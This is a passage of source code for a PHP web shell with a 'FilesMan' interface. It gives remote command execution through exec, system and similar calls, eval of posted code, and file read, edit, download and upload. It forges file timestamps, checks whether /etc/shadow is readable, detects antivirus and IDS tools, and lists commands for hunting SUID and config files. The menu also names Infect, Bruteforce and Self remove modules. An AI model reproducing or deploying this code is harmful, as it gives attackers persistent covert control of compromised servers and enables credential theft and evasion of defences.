ActiveXObject('Microsoft.XMLHTTP');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open('POST', url, true);\r\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\\", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>\";\r\n\t\$freeSpace = @diskfreespace(\$GLOBALS['cwd']);\r\n\t\$totalSpace = @disk_total_space(\$GLOBALS['cwd']);\r\n\t\$totalSpace = \$totalSpace?\$totalSpace:1;\r\n\t\$release = @php_uname('r');\r\n\t\$kernel = @php_uname('s');\r\n\t\$explink = 'https://noreferer.de/?https://www.exploit-db.com/search/?action=search&description=';\r\n\tif(strpos('Linux', \$kernel) !== false)\r\n\t\t\$explink .= urlencode('Linux Kernel ' . substr(\$release,0,6));\r\n\telse\r\n\t\t\$explink .= urlencode(\$kernel . ' ' . substr(\$release,0,3));\r\n\tif(!function_exists('posix_getegid')) {\r\n\t\t\$user = @get_current_user();\r\n\t\t\$uid = @getmyuid();\r\n\t\t\$gid = @getmygid();\r\n\t\t\$group = \"?\";\r\n\t} else {\r\n\t\t\$uid = @posix_getpwuid(@posix_geteuid());\r\n\t\t\$gid = @posix_getgrgid(@posix_getegid());\r\n\t\t\$user = \$uid['name'];\r\n\t\t\$uid = \$uid['uid'];\r\n\t\t\$group = \$gid['name'];\r\n\t\t\$gid = \$gid['gid'];\r\n\t}\r\n\t\$cwd_links = '';\r\n\t\$path = explode(\"/\", \$GLOBALS['cwd']);\r\n\t\$n=count(\$path);\r\n\tfor(\$i=0; \$i<\$n-1; \$i++) {\r\n\t\t\$cwd_links .= \"<a href='#' onclick='g(\\\"FilesMan\\\",\\\"\";\r\n\t\tfor(\$j=0; \$j<=\$i; \$j++)\r\n\t\t\t\$cwd_links .= \$path[\$j].'/';\r\n\t\t\$cwd_links .= \"\\\")'>\".\$path[\$i].\"/</a>\";\r\n\t}\r\n\t\$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');\r\n\t\$opt_charsets = '';\r\n\tforeach(\$charsets as \$\xe2\x96\x9f)\r\n\t\t\$opt_charsets .= '<option value=\"'.\$\xe2\x96\x9f.'\" '.(\$_POST['charset']==\$\xe2\x96\x9f?'selected':'').'>'.\$\xe2\x96\x9f.'</option>';\r\n\t\$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');\r\n\tif(!empty(\$GLOBALS['\xe2\x96\x9b']))\r\n\t\$m['Logout'] = 'Logout';\r\n\t\$m['Self remove'] = 'SelfRemove';\r\n\t\$menu = '';\r\n\tforeach(\$m as \$k => \$v)\r\n\t\t\$menu .= '<th>[ <a href=\"#\" onclick=\"g(\\''.\$v.'\\',null,\\'\\',\\'\\',\\'\\')\">'.\$k.'</a> ]</th>';\r\n\t\$drives = \"\";\r\n\tif (\$GLOBALS['os'] == 'win') {\r\n\t\tforeach(range('c','z') as \$drive)\r\n\t\tif (is_dir(\$drive.':\\\\'))\r\n\t\t\t\$drives .= '<a href=\"#\" onclick=\"g(\\'FilesMan\\',\\''.\$drive.':/\\')\">[ '.\$drive.' ]</a> ';\r\n\t}\r\n\t/* (\xd0\xa1) 08.2015 dmkcv */\r\n\techo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.(\$GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.\r\n\t\t '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href=\"https://noreferer.de/?https://www.google.com/search?q='.urlencode(@php_uname()).'\" target=\"_blank\">[ Google ]</a> <a href=\"'.\$explink.'\" target=_blank>[ Exploit-DB ]</a></nobr><br>'.\$uid.' ( '.\$user.' ) <span>Group:</span> '.\$gid.' ( ' .\$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.(\$GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#FFDB5F><b>OFF</b></font>').' <a href=# onclick=\"g(\\'Php\\',null,null,\\'info\\')\">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize(\$totalSpace).' <span>Free:</span> '.viewSize(\$freeSpace).' ('.round(100/(\$totalSpace/\$freeSpace),2).'%)<br>'.\$cwd_links.' '.viewPermsColor(\$GLOBALS['cwd']).' <a href=# onclick=\"g(\\'FilesMan\\',\\''.\$GLOBALS['home_cwd'].'\\',\\'\\',\\'\\',\\'\\')\">[ home ]</a><br>'.\$drives.'</td>'.\r\n\t\t '<td width=1 align=right><nobr><label><select onchange=\"g(null,null,null,null,null,this.value)\">'.\$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname(\$_SERVER[\"HTTP_HOST\"]).'<br><span>Client IP:</span><br>'.\$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.\r\n\t\t '<table style=\"background-color:#2E6E9C;\" cellpadding=3 cellspacing=0 width=100%><tr>'.\$menu.'</tr></table><div>';\r\n}\r\nfunction hardFooter() {\r\n\t\$is_writable = is_writable(\$GLOBALS['cwd'])?\" <font color='#FFDB5F'>[ Writeable ]</font>\":\" <font color=red>(Not writable)</font>\";\r\n    echo \"\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\\"\".( function_exists('actionFilesMan')? \"g(null,this.c.value,'');\":'' ).\"return false;\\\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='\" . htmlspecialchars(\$GLOBALS['cwd']) .\"'><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\\\"\".(function_exists('actionFilesTools')? \"g('FilesTools',null,this.f.value);\":'' ).\"return false;\\\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\\"\".( function_exists('actionFilesMan')? \"g('FilesMan',null,'mkdir',this.d.value);\":'' ).\"return false;\\\"><span>Make dir:</span>\$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\\\"\".( function_exists('actionFilesTools')? \"g('FilesTools',null,this.f.value,'mkfile');\":'' ).\"return false;\\\"><span>Make file:</span>\$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\\"\".( function_exists('actionConsole')? \"g('Console',null,this.c.value);\":'' ).\"return false;\\\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\r\n\t\t<td><form method='post' \".( (!function_exists('actionFilesMan'))? \" onsubmit=\\\"return false;\\\" \":'' ).\"ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='FilesMan'>\r\n\t\t<input type=hidden name=c value='\" . htmlspecialchars(\$GLOBALS['cwd']) .\"'>\r\n\t\t<input type=hidden name=p1 value='uploadFile'>\r\n\t\t<input type=hidden name=ne value=''>\r\n\t\t<input type=hidden name=charset value='\" . (isset(\$_POST['charset'])?\$_POST['charset']:'') . \"'>\r\n\t\t<span>Upload file:</span>\$is_writable<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t<!-- particles --> <div id='particles-js'></div><script src='https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>\r\n\t<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>\r\n\t</body></html>\";\r\n}\r\nif (!function_exists(\"posix_getpwuid\") && (strpos(\$GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid(\$p) {return false;} }\r\nif (!function_exists(\"posix_getgrgid\") && (strpos(\$GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid(\$p) {return false;} }\r\nfunction ex(\$in) {\r\n\t\$\xe2\x96\x96 = '';\r\n\tif (function_exists('exec')) {\r\n\t\t@exec(\$in,\$\xe2\x96\x96);\r\n\t\t\$\xe2\x96\x96 = @join(\"\\n\",\$\xe2\x96\x96);\r\n\t} elseif (function_exists('passthru')) {\r\n\t\tob_start();\r\n\t\t@passthru(\$in);\r\n\t\t\$\xe2\x96\x96 = ob_get_clean();\r\n\t} elseif (function_exists('system')) {\r\n\t\tob_start();\r\n\t\t@system(\$in);\r\n\t\t\$\xe2\x96\x96 = ob_get_clean();\r\n\t} elseif (function_exists('shell_exec')) {\r\n\t\t\$\xe2\x96\x96 = shell_exec(\$in);\r\n\t} elseif (is_resource(\$f = @popen(\$in,\"r\"))) {\r\n\t\t\$\xe2\x96\x96 = \"\";\r\n\t\twhile(!@feof(\$f))\r\n\t\t\t\$\xe2\x96\x96 .= fread(\$f,1024);\r\n\t\tpclose(\$f);\r\n\t}else return \"\xe2\x86\xb3 Unable to execute command\\n\";\r\n\treturn (\$\xe2\x96\x96==''?\"\xe2\x86\xb3 Query did not return anything\\n\":\$\xe2\x96\x96);\r\n}\r\nfunction viewSize(\$s) {\r\n\tif(\$s >= 1073741824)\r\n\t\treturn sprintf('%1.2f', \$s / 1073741824 ). ' GB';\r\n\telseif(\$s >= 1048576)\r\n\t\treturn sprintf('%1.2f', \$s / 1048576 ) . ' MB';\r\n\telseif(\$s >= 1024)\r\n\t\treturn sprintf('%1.2f', \$s / 1024 ) . ' KB';\r\n\telse\r\n\t\treturn \$s . ' B';\r\n}\r\nfunction perms(\$p) {\r\n\tif ((\$p & 0xC000) == 0xC000)\$i = 's';\r\n\telseif ((\$p & 0xA000) == 0xA000)\$i = 'l';\r\n\telseif ((\$p & 0x8000) == 0x8000)\$i = '-';\r\n\telseif ((\$p & 0x6000) == 0x6000)\$i = 'b';\r\n\telseif ((\$p & 0x4000) == 0x4000)\$i = 'd';\r\n\telseif ((\$p & 0x2000) == 0x2000)\$i = 'c';\r\n\telseif ((\$p & 0x1000) == 0x1000)\$i = 'p';\r\n\telse \$i = 'u';\r\n\t\$i .= ((\$p & 0x0100) ? 'r' : '-');\r\n\t\$i .= ((\$p & 0x0080) ? 'w' : '-');\r\n\t\$i .= ((\$p & 0x0040) ? ((\$p & 0x0800) ? 's' : 'x' ) : ((\$p & 0x0800) ? 'S' : '-'));\r\n\t\$i .= ((\$p & 0x0020) ? 'r' : '-');\r\n\t\$i .= ((\$p & 0x0010) ? 'w' : '-');\r\n\t\$i .= ((\$p & 0x0008) ? ((\$p & 0x0400) ? 's' : 'x' ) : ((\$p & 0x0400) ? 'S' : '-'));\r\n\t\$i .= ((\$p & 0x0004) ? 'r' : '-');\r\n\t\$i .= ((\$p & 0x0002) ? 'w' : '-');\r\n\t\$i .= ((\$p & 0x0001) ? ((\$p & 0x0200) ? 't' : 'x' ) : ((\$p & 0x0200) ? 'T' : '-'));\r\n\treturn \$i;\r\n}\r\nfunction viewPermsColor(\$f) {\r\n\tif (!@is_readable(\$f))\r\n\t\treturn '<font color=#FF0000><b>'.perms(@fileperms(\$f)).'</b></font>';\r\n\telseif (!@is_writable(\$f))\r\n\t\treturn '<font color=white><b>'.perms(@fileperms(\$f)).'</b></font>';\r\n\telse\r\n\t\treturn '<font color=#FFDB5F><b>'.perms(@fileperms(\$f)).'</b></font>';\r\n}\r\nfunction hardScandir(\$dir) {\r\n    if(function_exists(\"scandir\")) {\r\n        return scandir(\$dir);\r\n    } else {\r\n        \$dh  = opendir(\$dir);\r\n        while (false !== (\$filename = readdir(\$dh)))\r\n            \$files[] = \$filename;\r\n        return \$files;\r\n    }\r\n}\r\nfunction which(\$p) {\r\n\t\$path = ex('which ' . \$p);\r\n\tif(!empty(\$path))\r\n\t\treturn \$path;\r\n\treturn false;\r\n}\r\nfunction actionRC() {\r\n\tif(!@\$_POST['p1']) {\r\n\t\t\$a = array(\r\n\t\t\t\"uname\" => php_uname(),\r\n\t\t\t\"php_version\" => phpversion(),\r\n\t\t\t\"VERSION\" => VERSION,\r\n\t\t\t\"safemode\" => @ini_get('safe_mode')\r\n\t\t);\r\n\t\techo serialize(\$a);\r\n\t} else {\r\n\t\teval(\$_POST['p1']);\r\n\t}\r\n}\r\n//function prototype(\$k, \$v) { \$_COOKIE[\$k] = \$v;setcookie(\$k, \$v);}\r\nfunction actionSecInfo() {\r\n\thardHeader();\r\n\techo '<h1>Server security information</h1><div class=content>';\r\n\tfunction showSecParam(\$n, \$v) {\r\n\t\t\$v = trim(\$v);\r\n\t\tif(\$v) {\r\n\t\t\techo '<span>' . \$n . ': </span>';\r\n\t\t\tif(strpos(\$v, \"\\n\") === false)\r\n\t\t\t\techo \$v . '<br>';\r\n\t\t\telse\r\n\t\t\t\techo '<pre class=ml1>' . \$v . '</pre>';\r\n\t\t}\r\n\t}\r\n\tshowSecParam('Server software', @getenv('SERVER_SOFTWARE'));\r\n    if(function_exists('apache_get_modules'))\r\n        showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));\r\n\tshowSecParam('Disabled PHP Functions', \$GLOBALS['disable_functions']?\$GLOBALS['disable_functions']:'none');\r\n\tshowSecParam('Open base dir', @ini_get('open_basedir'));\r\n\tshowSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));\r\n\tshowSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));\r\n\tshowSecParam('cURL support', function_exists('curl_version')?'enabled':'no');\r\n\t\$temp=array();\r\n\tif(function_exists('mysql_get_client_info'))\r\n\t\t\$temp[] = \"MySql (\".mysql_get_client_info().\")\";\r\n\tif(function_exists('mssql_connect'))\r\n\t\t\$temp[] = \"MSSQL\";\r\n\tif(function_exists('pg_connect'))\r\n\t\t\$temp[] = \"PostgreSQL\";\r\n\tif(function_exists('oci_connect'))\r\n\t\t\$temp[] = \"Oracle\";\r\n\tshowSecParam('Supported databases', implode(', ', \$temp));\r\n\techo '<br>';\r\n\tif(\$GLOBALS['os'] == 'nix') {\r\n            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?\"yes <a href='#' onclick='g(\\\"FilesTools\\\", \\\"/etc/\\\", \\\"passwd\\\")'>[view]</a>\":'no');\r\n            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?\"yes <a href='#' onclick='g(\\\"FilesTools\\\", \\\"/etc/\\\", \\\"shadow\\\")'>[view]</a>\":'no');\r\n            showSecParam('OS version', @file_get_contents('/proc/version'));\r\n            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));\r\n            if(!\$GLOBALS['safe_mode']) {\r\n                \$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');\r\n                \$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');\r\n                \$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');\r\n                echo '<br>';\r\n                \$temp=array();\r\n                foreach (\$userful as \$\xe2\x96\x9f)\r\n                    if(which(\$\xe2\x96\x9f))\r\n                        \$temp[] = \$\xe2\x96\x9f;\r\n                showSecParam('Userful', implode(', ',\$temp));\r\n                \$temp=array();\r\n                foreach (\$danger as \$\xe2\x96\x9f)\r\n                    if(which(\$\xe2\x96\x9f))\r\n                        \$temp[] = \$\xe2\x96\x9f;\r\n                showSecParam('Danger', implode(', ',\$temp));\r\n                \$temp=array();\r\n                foreach (\$downloaders as \$\xe2\x96\x9f)\r\n                    if(which(\$\xe2\x96\x9f))\r\n                        \$temp[] = \$\xe2\x96\x9f;\r\n                showSecParam('Downloaders', implode(', ',\$temp));\r\n                echo '<br/>';\r\n                showSecParam('HDD space', ex('df -h'));\r\n                showSecParam('Hosts', @file_get_contents('/etc/hosts'));\r\n\t\t\t\tshowSecParam('Mount options', @file_get_contents('/etc/fstab'));\r\n            }\r\n\t} else {\r\n\t\tshowSecParam('OS Version',ex('ver'));\r\n\t\tshowSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));\r\n\t\tshowSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));\r\n\t}\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actionFilesTools() {\r\n\tif( isset(\$_POST['p1']) )\r\n\t\t\$_POST['p1'] = urldecode(\$_POST['p1']);\r\n\tif(@\$_POST['p2']=='download') {\r\n\t\tif(@is_file(\$_POST['p1']) && @is_readable(\$_POST['p1'])) {\r\n\t\t\tob_start(\"ob_gzhandler\", 4096);\r\n\t\t\theader(\"Content-Disposition: attachment; filename=\".basename(\$_POST['p1']));\r\n\t\t\tif (function_exists(\"mime_content_type\")) {\r\n\t\t\t\t\$type = @mime_content_type(\$_POST['p1']);\r\n\t\t\t\theader(\"Content-Type: \" . \$type);\r\n\t\t\t} else\r\n                header(\"Content-Type: application/octet-stream\");\r\n\t\t\t\$fp = @fopen(\$_POST['p1'], \"r\");\r\n\t\t\tif(\$fp) {\r\n\t\t\t\twhile(!@feof(\$fp))\r\n\t\t\t\t\techo @fread(\$fp, 1024);\r\n\t\t\t\tfclose(\$fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @\$_POST['p2'] == 'mkfile' ) {\r\n\t\tif(!file_exists(\$_POST['p1'])) {\r\n\t\t\t\$fp = @fopen(\$_POST['p1'], 'w');\r\n\t\t\tif(\$fp) {\r\n\t\t\t\t\$_POST['p2'] = \"edit\";\r\n\t\t\t\tfclose(\$fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\thardHeader();\r\n\techo '<h1>File tools</h1><div class=content>';\r\n\tif( !file_exists(@\$_POST['p1']) ) {\r\n\t\techo 'File not exists';\r\n\t\thardFooter();\r\n\t\treturn;\r\n\t}\r\n\t\$uid = @posix_getpwuid(@fileowner(\$_POST['p1']));\r\n\tif(!\$uid) {\r\n\t\t\$uid['name'] = @fileowner(\$_POST['p1']);\r\n\t\t\$gid['name'] = @filegroup(\$_POST['p1']);\r\n\t} else \$gid = @posix_getgrgid(@filegroup(\$_POST['p1']));\r\n\techo '<span>Name:</span> '.htmlspecialchars(@basename(\$_POST['p1'])).' <span>Size:</span> '.(is_file(\$_POST['p1'])?viewSize(filesize(\$_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor(\$_POST['p1']).' <span>Owner/Group:</span> '.\$uid['name'].'/'.\$gid['name'].'<br>';\r\n\techo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime(\$_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime(\$_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime(\$_POST['p1'])).'<br><br>';\r\n\tif( empty(\$_POST['p2']) )\r\n\t\t\$_POST['p2'] = 'view';\r\n\tif( is_file(\$_POST['p1']) )\r\n\t\t\$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');\r\n\telse\r\n\t\t\$m = array('Chmod', 'Rename', 'Touch');\r\n\tforeach(\$m as \$v)\r\n\t\techo '<a href=# onclick=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',\\''.strtolower(\$v).'\\')\">'.((strtolower(\$v)==@\$_POST['p2'])?'<b>[ '.\$v.' ]</b>':\$v).'</a> ';\r\n\techo '<br><br>';\r\n\tswitch(\$_POST['p2']) {\r\n\t\tcase 'view':\r\n\t\t\techo '<pre class=ml1>';\r\n\t\t\t\$fp = @fopen(\$_POST['p1'], 'r');\r\n\t\t\tif(\$fp) {\r\n\t\t\t\twhile( !@feof(\$fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread(\$fp, 1024));\r\n\t\t\t\t@fclose(\$fp);\r\n\t\t\t}\r\n\t\t\techo '</pre>';\r\n\t\t\tbreak;\r\n\t\tcase 'highlight':\r\n\t\t\tif( @is_readable(\$_POST['p1']) ) {\r\n\t\t\t\techo '<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">';\r\n\t\t\t\t\$oRb = @highlight_file(\$_POST['p1'],true);\r\n\t\t\t\techo str_replace(array('<span ','</span>'), array('<font ','</font>'),\$oRb).'</div>';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase 'chmod':\r\n\t\t\tif( !empty(\$_POST['p3']) ) {\r\n\t\t\t\t\$perms = 0;\r\n\t\t\t\tfor(\$i=strlen(\$_POST['p3'])-1;\$i>=0;--\$i)\r\n\t\t\t\t\t\$perms += (int)\$_POST['p3'][\$i]*pow(8, (strlen(\$_POST['p3'])-\$i-1));\r\n\t\t\t\tif(!@chmod(\$_POST['p1'], \$perms))\r\n\t\t\t\t\techo 'Can\\'t set permissions!<br><script>document.mf.p3.value=\"\";</script>';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo '<script>p3_=\"\";</script><form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,this.chmod.value);return false;\"><input type=text name=chmod value=\"'.substr(sprintf('%o', fileperms(\$_POST['p1'])),-4).'\"><input type=submit value=\"submit\"></form>';\r\n\t\t\tbreak;\r\n\t\tcase 'edit':\r\n\t\t\tif( !is_writable(\$_POST['p1'])) {\r\n\t\t\t\techo 'File isn\\'t writeable';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty(\$_POST['p3']) ) {\r\n\t\t\t\t\$time = @filemtime(\$_POST['p1']);\r\n\t\t\t\t\$_POST['p3'] = substr(\$_POST['p3'],1);\r\n\t\t\t\t\$fp = @fopen(\$_POST['p1'],\"w\");\r\n\t\t\t\tif(\$fp) {\r\n\t\t\t\t\t@fwrite(\$fp,\$_POST['p3']);\r\n\t\t\t\t\t@fclose(\$fp);\r\n\t\t\t\t\techo 'Saved!<br><script>p3_=\"\";</script>';\r\n\t\t\t\t\t@touch(\$_POST['p1'],\$time,\$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo '<form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,\\'1\\'+this.text.value);return false;\"><textarea name=text class=bigarea>';\r\n\t\t\t\$fp = @fopen(\$_POST['p1'], 'r');\r\n\t\t\tif(\$fp) {\r\n\t\t\t\twhile( !@feof(\$fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread(\$fp, 1024));\r\n\t\t\t\t@fclose(\$fp);\r\n\t\t\t}\r\n\t\t\techo '</textarea><input type=submit value=\"submit\"></form>';\r\n\t\t\tbreak;\r\n\t\tcase 'hexdump':\r\n\t\t\t\$c = @file_get_contents(\$_POST['p1']);\r\n\t\t\t\$n = 0;\r\n\t\t\t\$h = array('00000000<br>','','');\r\n\t\t\t\$len = strlen(\$c);\r\n\t\t\tfor (\$i=0; \$i<\$len; ++\$i) {\r\n\t\t\t\t\$h[1] .= sprintf('%02X',ord(\$c[\$i])).' ';\r\n\t\t\t\tswitch ( ord(\$c[\$i]) ) {\r\n\t\t\t\t\tcase 0:  \$h[2] .= ' '; break;\r\n\t\t\t\t\tcase 9:  \$h[2] .= ' '; break;\r\n\t\t\t\t\tcase 10: \$h[2] .= ' '; break;\r\n\t\t\t\t\tcase 13: \$h[2] .= ' '; break;\r\n\t\t\t\t\tdefault: \$h[2] .= \$c[\$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t\$n++;\r\n\t\t\t\tif (\$n == 32) {\r\n\t\t\t\t\t\$n = 0;\r\n\t\t\t\t\tif (\$i+1 < \$len) {\$h[0] .= sprintf('%08X',\$i+1).'<br>';}\r\n\t\t\t\t\t\$h[1] .= '<br>';\r\n\t\t\t\t\t\$h[2] .= \"\\n\";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style=\"font-weight: normal;\"><pre>'.\$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.\$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars(\$h[2]).'</pre></td></tr></table>';\r\n\t\t\tbreak;\r\n\t\tcase 'rename':\r\n\t\t\tif( !empty(\$_POST['p3']) ) {\r\n\t\t\t\tif(!@rename(\$_POST['p1'], \$_POST['p3']))\r\n\t\t\t\t\techo 'Can\\'t rename!<br>';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie('<script>g(null,null,\"'.urlencode(\$_POST['p3']).'\",null,\"\")</script>');\r\n\t\t\t}\r\n\t\t\techo '<form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,this.name.value);return false;\"><input type=text name=name value=\"'.htmlspecialchars(\$_POST['p1']).'\"><input type=submit value=\"submit\"></form>';\r\n\t\t\tbreak;\r\n\t\tcase 'touch':\r\n\t\t\tif( !empty(\$_POST['p3']) ) {\r\n\t\t\t\t\$time = strtotime(\$_POST['p3']);\r\n\t\t\t\tif(\$time) {\r\n\t\t\t\t\tif(!touch(\$_POST['p1'],\$time,\$time))\r\n\t\t\t\t\t\techo 'Fail!';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo 'Touched!';\r\n\t\t\t\t} else echo 'Bad time format!';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo '<script>p3_=\"\";</script><form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,this.touch.value);return false;\"><input type=text name=touch value=\"'.date(\"Y-m-d H:i:s\", @filemtime(\$_POST['p1'])).'\"><input type=submit value=\"submit\"></form>';\r\n\t\t\tbreak;\r\n\t\t/* (\xd0\xa1) 12.2015 mitryz */\r\n\t\tcase 'frame':\r\n\t\t\t\$frameSrc = substr(htmlspecialchars(\$GLOBALS['cwd']), strlen(htmlspecialchars(\$_SERVER['DOCUMENT_ROOT'])));\r\n\t\t\tif (\$frameSrc[0] != '/')\r\n\t\t\t\t\$frameSrc = '/' . \$frameSrc;\r\n\t\t\tif (\$frameSrc[strlen(\$frameSrc) - 1] != '/')\r\n\t\t\t\t\$frameSrc = \$frameSrc . '/';\r\n\t\t\t\$frameSrc = \$frameSrc . htmlspecialchars(\$_POST['p1']);\r\n\t\t\techo '<iframe width=\"100%\" height=\"900px\" scrolling=\"no\" src='.\$frameSrc.' onload=\"onload=height=contentDocument.body.scrollHeight\"></iframe>';\r\n\t\t\tbreak;\r\n\t}\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nif(\$os == 'win')\r\n\t\$aliases = array(\r\n\t\t\"List Directory\" => \"dir\",\r\n    \t\"Find index.php in current dir\" => \"dir /s /w /b index.php\",\r\n    \t\"Find *config*.php in current dir\" => \"dir /s /w /b *config*.php\",\r\n    \t\"Show active connections\" => \"netstat -an\",\r\n    \t\"Show running services\" => \"net start\",\r\n    \t\"User accounts\" => \"net user\",\r\n    \t\"Show computers\" => \"net view\",\r\n\t\t\"ARP Table\" => \"arp -a\",\r\n\t\t\"IP Configuration\" => \"ipconfig /all\"\r\n\t);\r\nelse\r\n\t\$aliases = array(\r\n  \t\t\"List dir\" => \"ls -lha\",\r\n\t\t\"list file attributes on a Linux second extended file system\" => \"lsattr -va\",\r\n  \t\t\"show opened ports\" => \"netstat -an | grep -i listen\",\r\n        \"process status\" => \"ps aux\",\r\n\t\t\"Find\" => \"\",\r\n  \t\t\"find all suid files\" => \"find / -type f -perm -04000 -ls\",\r\n  \t\t\"find suid files in current dir\" => \"find . -type f -perm -04000 -ls\",\r\n  \t\t\"find all sgid files\" => \"find / -type f -perm -02000 -ls\",\r\n  \t\t\"find sgid files in current dir\" => \"find . -type f -perm -02000 -ls\",\r\n  \t\t\"find config.inc.php files\" => \"find / -type f -name config.inc.php\",\r\n  \t\t\"find config* files\" => \"find / -type f -name \\\"config*\\\"\",\r\n  \t\t\"find config* files in current dir\" => \"find . -type f -name \\\"config*\\\"\",\r\n  \t\t\"find all writable folders and files\" => \"find / -perm 